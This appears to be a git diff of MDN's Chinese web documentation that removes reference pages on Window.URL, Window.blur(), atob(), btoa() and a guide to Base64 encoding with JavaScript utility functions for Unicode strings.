+  <head>
+    <title>Child Frame</title>
+    <script>
+      window.addEventListener('beforeunload', function(event) {
+        console.log('I am the 2nd one.');
+      });
+      window.addEventListener('unload', function(event) {
+        console.log('I am the 4th and last one…');
+      });
+    </script>
+  </head>
+  <body>
+      ☻
+  </body>
+</html>
+ +

当父iframe被卸载,事件将按console.log() 消息描述的顺序触发。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态描述
{{SpecName('UI Events', '#event-type-unload', 'unload')}}{{Spec2('UI Events')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Window.unload_event")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/window/url/index.html b/files/zh-cn/web/api/window/url/index.html deleted file mode 100644 index 3ca38bbd39..0000000000 --- a/files/zh-cn/web/api/window/url/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Window.URL -slug: Web/API/Window/URL -tags: - - Window.URL -translation_of: Web/API/URL -translation_of_original: Web/API/Window/URL ---- -

{{ApiRef("Window")}}{{SeeCompatTable}}

- -

Window.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。它也可以作为一个构造函数被调用来构造 {{domxref("URL")}} 对象。

- -
-

Note: 此功能在Web Workers中可用。

-
- -

语法

- -

调用一个静态方法:

- -
img.src = URL.{{domxref("URL.createObjectURL", "createObjectURL")}}(blob);
- -

构造一个新对象:

- -
var url = new {{domxref("URL.URL", "URL")}}("../cats/", "https://www.example.com/dogs/");
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('URL', '#dom-url', 'URL')}}{{Spec2('URL')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8.0[2]{{CompatGeckoDesktop("2.0")}}[1]
- {{CompatGeckoDesktop("19.0")}}
10.015.0[2]6.0[2]
- 7.0
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}[2]{{CompatGeckoMobile("14.0")}}[1]
- {{CompatGeckoMobile("19.0")}}
{{CompatVersionUnknown}}15.0[2]6.0[2]
-
- -

[1] 从 Gecko 2 (Firefox 4) 到 包括Gecko 18, Gecko 返回一个不标准的nsIDOMMozURLProperty内部类型. 在实践中, 这是没有意义的.

- -

[2] 在非标准名称webkitURL下实现。

- -

也可以看看

- - diff --git a/files/zh-cn/web/api/window/window.blur()/index.html b/files/zh-cn/web/api/window/window.blur()/index.html deleted file mode 100644 index 0aebdbb367..0000000000 --- a/files/zh-cn/web/api/window/window.blur()/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Window.blur() -slug: Web/API/Window/Window.blur() -translation_of: Web/API/Window/blur ---- -

{{APIRef}}

- -

总结

- -

将焦点移出顶层窗口。

- -

语法

- -
window.blur()
- -

示例

- -
window.blur();
- -

注意

- -

使用 window.blur() 方法与用户主动将焦点移出顶层窗口本质上是一样的。

- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG','interaction.html#dom-window-blur','Window.blur()')}}{{Spec2('HTML WHATWG')}} 
diff --git a/files/zh-cn/web/api/windowbase64/atob/index.html b/files/zh-cn/web/api/windowbase64/atob/index.html deleted file mode 100644 index 2892e403d4..0000000000 --- a/files/zh-cn/web/api/windowbase64/atob/index.html +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.atob() -slug: Web/API/WindowBase64/atob -tags: - - API - - Base64 - - DOM - - WindowOrWorkerGlobalScope - - atob - - 参考 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/atob ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

- -

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

- -

语法

- -
var decodedData = scope.atob(encodedData);
- -

异常

- -

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
- -

浏览器兼容性

- - - -

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html b/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html deleted file mode 100644 index 5da5d1e0f4..0000000000 --- a/files/zh-cn/web/api/windowbase64/base64_encoding_and_decoding/index.html +++ /dev/null @@ -1,605 +0,0 @@ ---- -title: Base64的编码与解码 -slug: Web/API/WindowBase64/Base64_encoding_and_decoding -translation_of: Glossary/Base64 ---- -

Base64 是一组相似的二进制到文本(binary-to-text)的编码规则,使得二进制数据在解释成 radix-64 的表现形式后能够用 ASCII 字符串的格式表示出来。Base64 这个词出自一种 MIME 数据传输编码。 

- -

Base64编码普遍应用于需要通过被设计为处理文本数据的媒介上储存和传输二进制数据而需要编码该二进制数据的场景。这样是为了保证数据的完整并且不用在传输过程中修改这些数据。Base64 也被一些应用(包括使用 MIME 的电子邮件)和在 XML 中储存复杂数据时使用。 

- -

在 JavaScript 中,有两个函数被分别用来处理解码和编码 base64 字符串:

- - - -

atob() 函数能够解码通过base-64编码的字符串数据。相反地,btoa() 函数能够从二进制数据“字符串”创建一个base-64编码的ASCII字符串。

- -

atob() 和 btoa() 均使用字符串。如果你想使用 ArrayBuffers,请参阅后文。

- -

编码尺寸增加

- -

每一个Base64字符实际上代表着6比特位。因此,3字节(一字节是8比特,3字节也就是24比特)的字符串/二进制文件可以转换成4个Base64字符(4x6 = 24比特)。

- -

这意味着Base64格式的字符串或文件的尺寸约是原始尺寸的133%(增加了大约33%)。如果编码的数据很少,增加的比例可能会更高。例如:字符串"a"length === 1进行Base64编码后是"YQ=="length === 4,尺寸增加了300%。

- - - - - - - - - - -
-

文档

- -
-
data URIs
-
data URIs, 定义于 RFC 2397,用于在文档内嵌入小的文件。
-
Base64
-
维基百科上关于 Base64 的文章。
-
{{domxref("WindowBase64.atob","atob()")}}
-
解码一个Base64字符串。
-
{{domxref("WindowBase64.btoa","btoa()")}}
-
从一个字符串或者二进制数据编码一个Base64字符串。
-
"Unicode 问题"
-
在大多数浏览器里里,在一个Unicode字符串上调用btoa()会造成一个Character Out Of Range异常。这一段写了一些解决方案。
-
URIScheme
-
Mozilla支持的URI schemes列表。
-
StringView
-
这篇文章发布了一个我们做的库,目的在于: -
    -
  • 为字符串创建一个类C接口 (i.e. array of characters codes — ArrayBufferView in JavaScript) ,基于JavaScript ArrayBuffer 接口。
  • -
  • 为类字符串对象(目前为止为: stringViews) 创建一系列方法,它们严格按照数字数组工作,而不是不可变的字符串。
  • -
  • 可用于其它Unicode编码,和默认的 DOMStrings不同。
  • -
-
-
- -

查看所有...

-
-

工具

- - - -

View All...

- - - - -
- -

Unicode 问题

- -

由于 DOMString 是16位编码的字符串,所以如果有字符超出了8位ASCII编码的字符范围时,在大多数的浏览器中对Unicode字符串调用 window.btoa 将会造成一个 Character Out Of Range 的异常。有很多种方法可以解决这个问题:

- - - -

Solution #1 – JavaScript's UTF-16 => base64

- -

A very fast and widely useable way to solve the unicode problem is by encoding JavaScript native UTF-16 strings directly into base64. Please visit the URL data:text/plain;charset=utf-16;base64,OCY5JjomOyY8Jj4mPyY= for a demonstration (copy the data uri, open a new tab, paste the data URI into the address bar, then press enter to go to the page). This method is particularly efficient because it does not require any type of conversion, except mapping a string into an array. The following code is also useful to get an ArrayBuffer from a Base64 string and/or viceversa (see below).

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#1)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var aUTF16CodeUnits = new Uint16Array(myString.length);
-Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = myString.charCodeAt(idx); });
-var sUTF16Base64 = base64EncArr(new Uint8Array(aUTF16CodeUnits.buffer));
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = String.fromCharCode.apply(null, new Uint16Array(base64DecToArr(sUTF16Base64, 2).buffer));
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
- -

The produced string is fully portable, although represented as UTF-16. If you prefer UTF-8, see the next solution.

- -

Appendix to Solution #1: Decode a Base64 string to Uint8Array or ArrayBuffer

- -

The functions above let us also create uint8Arrays or arrayBuffers from base64-encoded strings:

- -
var myArray = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-var myBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network" (as UTF-8)
-
-alert(myBuffer.byteLength);
- -
Note: The function base64DecToArr(sBase64[, nBlockSize]) returns an uint8Array of bytes. If your aim is to build a buffer of 16-bit / 32-bit / 64-bit raw data, use the nBlockSize argument, which is the number of bytes which the uint8Array.buffer.bytesLength property must result to be a multiple of (1 or omitted for ASCII, binary content, binary strings, UTF-8-encoded strings; 2 for UTF-16 strings; 4 for UTF-32 strings).
- -

For a more complete library, see StringView – a C-like representation of strings based on typed arrays (source code available on GitHub).

- -

Solution #2 – JavaScript's UTF-16 => UTF-8 => base64

- -

This solution consists in converting a JavaScript's native UTF-16 string into a UTF-8 string and then encoding the latter into base64. This also grants that converting a pure ASCII string to base64 always produces the same output as the native btoa().

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#2)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-/* Array of bytes to base64 string decoding */
-
-function b64ToUint6 (nChr) {
-
-  return nChr > 64 && nChr < 91 ?
-      nChr - 65
-    : nChr > 96 && nChr < 123 ?
-      nChr - 71
-    : nChr > 47 && nChr < 58 ?
-      nChr + 4
-    : nChr === 43 ?
-      62
-    : nChr === 47 ?
-      63
-    :
-      0;
-
-}
-
-function base64DecToArr (sBase64, nBlockSize) {
-
-  var
-    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
-    nOutLen = nBlockSize ? Math.ceil((nInLen * 3 + 1 >>> 2) / nBlockSize) * nBlockSize : nInLen * 3 + 1 >>> 2, aBytes = new Uint8Array(nOutLen);
-
-  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
-    nMod4 = nInIdx & 3;
-    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
-    if (nMod4 === 3 || nInLen - nInIdx === 1) {
-      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
-        aBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
-      }
-      nUint24 = 0;
-    }
-  }
-
-  return aBytes;
-}
-
-/* Base64 string to array encoding */
-
-function uint6ToB64 (nUint6) {
-
-  return nUint6 < 26 ?
-      nUint6 + 65
-    : nUint6 < 52 ?
-      nUint6 + 71
-    : nUint6 < 62 ?
-      nUint6 - 4
-    : nUint6 === 62 ?
-      43
-    : nUint6 === 63 ?
-      47
-    :
-      65;
-
-}
-
-function base64EncArr (aBytes) {
-
-  var eqLen = (3 - (aBytes.length % 3)) % 3, sB64Enc = "";
-
-  for (var nMod3, nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
-    nMod3 = nIdx % 3;
-    /* Uncomment the following line in order to split the output in lines 76-character long: */
-    /*
-    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
-    */
-    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
-    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
-      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
-      nUint24 = 0;
-    }
-  }
-
-  return  eqLen === 0 ?
-      sB64Enc
-    :
-      sB64Enc.substring(0, sB64Enc.length - eqLen) + (eqLen === 1 ? "=" : "==");
-
-}
-
-/* UTF-8 array to DOMString and vice versa */
-
-function UTF8ArrToStr (aBytes) {
-
-  var sView = "";
-
-  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
-    nPart = aBytes[nIdx];
-    sView += String.fromCharCode(
-      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
-        /* (nPart - 252 << 30) may be not so safe in ECMAScript! So...: */
-        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
-        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
-        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
-        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
-      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
-        (nPart - 192 << 6) + aBytes[++nIdx] - 128
-      : /* nPart < 127 ? */ /* one byte */
-        nPart
-    );
-  }
-
-  return sView;
-
-}
-
-function strToUTF8Arr (sDOMStr) {
-
-  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
-
-  /* mapping... */
-
-  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
-    nChr = sDOMStr.charCodeAt(nMapIdx);
-    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
-  }
-
-  aBytes = new Uint8Array(nArrLen);
-
-  /* transcription... */
-
-  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
-    nChr = sDOMStr.charCodeAt(nChrIdx);
-    if (nChr < 128) {
-      /* one byte */
-      aBytes[nIdx++] = nChr;
-    } else if (nChr < 0x800) {
-      /* two bytes */
-      aBytes[nIdx++] = 192 + (nChr >>> 6);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x10000) {
-      /* three bytes */
-      aBytes[nIdx++] = 224 + (nChr >>> 12);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x200000) {
-      /* four bytes */
-      aBytes[nIdx++] = 240 + (nChr >>> 18);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else if (nChr < 0x4000000) {
-      /* five bytes */
-      aBytes[nIdx++] = 248 + (nChr >>> 24);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    } else /* if (nChr <= 0x7fffffff) */ {
-      /* six bytes */
-      aBytes[nIdx++] = 252 + (nChr >>> 30);
-      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
-      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
-      aBytes[nIdx++] = 128 + (nChr & 63);
-    }
-  }
-
-  return aBytes;
-
-}
- -

Tests

- -
/* Tests */
-
-var sMyInput = "Base 64 \u2014 Mozilla Developer Network";
-
-var aMyUTF8Input = strToUTF8Arr(sMyInput);
-
-var sMyBase64 = base64EncArr(aMyUTF8Input);
-
-alert(sMyBase64); // "QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="
-
-var aMyUTF8Output = base64DecToArr(sMyBase64);
-
-var sMyOutput = UTF8ArrToStr(aMyUTF8Output);
-
-alert(sMyOutput); // "Base 64 — Mozilla Developer Network"
- -

Solution #3 – JavaScript's UTF-16 => binary string => base64

- -

The following is the fastest and most compact possible approach. The output is exactly the same produced by Solution #1 (UTF-16 encoded strings), but instead of rewriting {{domxref("WindowBase64.atob","atob()")}} and {{domxref("WindowBase64.btoa","btoa()")}} it uses the native ones. This is made possible by the fact that instead of using typed arrays as encoding/decoding inputs this solution uses binary strings as an intermediate format. It is a “dirty” workaround in comparison to Solution #1 (binary strings are a grey area), however it works pretty well and requires only a few lines of code.

- -
"use strict";
-
-/*\
-|*|
-|*|  Base64 / binary data / UTF-8 strings utilities (#3)
-|*|
-|*|  https://developer.mozilla.org/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding
-|*|
-|*|  Author: madmurphy
-|*|
-\*/
-
-function btoaUTF16 (sString) {
-
-	var aUTF16CodeUnits = new Uint16Array(sString.length);
-	Array.prototype.forEach.call(aUTF16CodeUnits, function (el, idx, arr) { arr[idx] = sString.charCodeAt(idx); });
-	return btoa(String.fromCharCode.apply(null, new Uint8Array(aUTF16CodeUnits.buffer)));
-
-}
-
-function atobUTF16 (sBase64) {
-
-	var sBinaryString = atob(sBase64), aBinaryView = new Uint8Array(sBinaryString.length);
-	Array.prototype.forEach.call(aBinaryView, function (el, idx, arr) { arr[idx] = sBinaryString.charCodeAt(idx); });
-	return String.fromCharCode.apply(null, new Uint16Array(aBinaryView.buffer));
-
-}
- -

Tests

- -
var myString = "☸☹☺☻☼☾☿";
-
-/* Part 1: Encode `myString` to base64 using native UTF-16 */
-
-var sUTF16Base64 = btoaUTF16(myString);
-
-/* Show output */
-
-alert(sUTF16Base64); // "OCY5JjomOyY8Jj4mPyY="
-
-/* Part 2: Decode `sUTF16Base64` to UTF-16 */
-
-var sDecodedString = atobUTF16(sUTF16Base64);
-
-/* Show output */
-
-alert(sDecodedString); // "☸☹☺☻☼☾☿"
-
- -

For a cleaner solution that uses typed arrays instead of binary strings, see solutions #1 and #2.

- -

Solution #4 – escaping the string before encoding it

- -
function b64EncodeUnicode(str) {
-    // first we use encodeURIComponent to get percent-encoded UTF-8,
-    // then we convert the percent encodings into raw bytes which
-    // can be fed into btoa.
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
-        function toSolidBytes(match, p1) {
-            return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-b64EncodeUnicode('\n'); // "Cg=="
-
- -

To decode the Base64-encoded value back into a String:

- -
function b64DecodeUnicode(str) {
-    // Going backwards: from bytestream, to percent-encoding, to original string.
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
-
- -

Unibabel implements common conversions using this strategy.

- -

Solution #5 – rewrite the DOMs atob() and btoa() using JavaScript's TypedArrays and UTF-8

- -

Use a TextEncoder polyfill such as TextEncoding (also includes legacy windows, mac, and ISO encodings), TextEncoderLite, combined with a Buffer and a Base64 implementation such as base64-js or TypeScript version of base64-js for both modern browsers and Node.js.

- -

When a native TextEncoder implementation is not available, the most light-weight solution would be to use Solution #3 because in addition to being much faster, Solution #3 also works in IE9 "out of the box." Alternatively, use TextEncoderLite with base64-js. Use the browser implementation when you can.

- -

The following function implements such a strategy. It assumes base64-js imported as <script type="text/javascript" src="base64js.min.js"/>. Note that TextEncoderLite only works with UTF-8.

- -
function Base64Encode(str, encoding = 'utf-8') {
-    var bytes = new (typeof TextEncoder === "undefined" ? TextEncoderLite : TextEncoder)(encoding).encode(str);
-    return base64js.fromByteArray(bytes);
-}
-
-function Base64Decode(str, encoding = 'utf-8') {
-    var bytes = base64js.toByteArray(str);
-    return new (typeof TextDecoder === "undefined" ? TextDecoderLite : TextDecoder)(encoding).decode(bytes);
-}
-
- -

注意: TextEncoderLite 不能正确处理四字节 UTF-8 字符, 比如 '\uD842\uDFB7' 或缩写为  '\u{20BB7}' 。参见 issue
- 可使用 text-encoding 作为替代。

- -

某些场景下,以上经由 UTF-8 转换到 Base64 的实现在空间利用上不一定高效。当处理包含大量 U+0800-U+FFFF 区域间字符的文本时, UTF-8 输出结果长于 UTF-16 的,因为这些字符在 UTF-8 下占用三个字节而 UTF-16 是两个。在处理均匀分布 UTF-16 码点的 JavaScript 字符串时应考虑采用 UTF-16 替代 UTF-8 作为 Base64 结果的中间编码格式,这将减少 40% 尺寸。

- -
-

译者注:下为陈旧翻译片段

-
- - - -

方案 #1 – 编码之前转义(escape)字符串

- -
function b64EncodeUnicode(str) {
-    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {
-        return String.fromCharCode('0x' + p1);
-    }));
-}
-
-b64EncodeUnicode('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
-
- -

把base64转换回字符串

- -
function b64DecodeUnicode(str) {
-    return decodeURIComponent(atob(str).split('').map(function(c) {
-        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2);
-    }).join(''));
-}
-
-b64DecodeUnicode('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-b64DecodeUnicode('Cg=='); // "\n"
- -

Unibabel 是一个包含了一些使用这种策略的通用转换的库。

- -

方案 #6 – 用JavaScript的 TypedArray 和 UTF-8重写DOM的 atob() 和 btoa()

- -

使用像TextEncoding(包含了早期(legacy)的windows,mac, 和 ISO 编码),TextEncoderLite 或者 Buffer 这样的文本编码器增强(polyfill)和Base64增强,比如base64-jsTypeScript 版本的  base64-js (适用于长青浏览器和 Node.js)。

- -

最简单,最轻量级的解决方法就是使用 TextEncoderLite 和 base64-js.

- -

想要更完整的库的话,参见 StringView – a C-like representation of strings based on typed arrays.

- -

参见

- - diff --git a/files/zh-cn/web/api/windowbase64/btoa/index.html b/files/zh-cn/web/api/windowbase64/btoa/index.html deleted file mode 100644 index 6b742198a5..0000000000 --- a/files/zh-cn/web/api/windowbase64/btoa/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: WindowOrWorkerGlobalScope.btoa() -slug: Web/API/WindowBase64/btoa -tags: - - API - - Base64 - - Web - - WindowOrWorkerGlobalScope - - 参考 - - 字符串 - - 数据 - - 方法 -translation_of: Web/API/WindowOrWorkerGlobalScope/btoa ---- -

{{APIRef("HTML DOM")}}

- -

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

- -
-

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

-
- -

语法

- -
let encodedData = window.btoa(stringToEncode);
-
- -

参数

- -
-
stringToEncode
-
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
-
- -

返回值

- -

一个包含 stringToEncode 的 Base64 表示的字符串。

- -

示例

- -
let encodedData = window.btoa("Hello, world"); // 编码
-let decodedData = window.atob(encodedData);    // 解码
-
- -

备注

- -

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

- -

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

- -

Unicode 字符串

- -

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

- -

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

- -
// ucs-2 string to base64 encoded ascii
-function utoa(str) {
-    return window.btoa(unescape(encodeURIComponent(str)));
-}
-// base64 encoded ascii to ucs-2 string
-function atou(str) {
-    return decodeURIComponent(escape(window.atob(str)));
-}
-// Usage:
-utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
-atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
-
-utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
-atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
-
- -

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
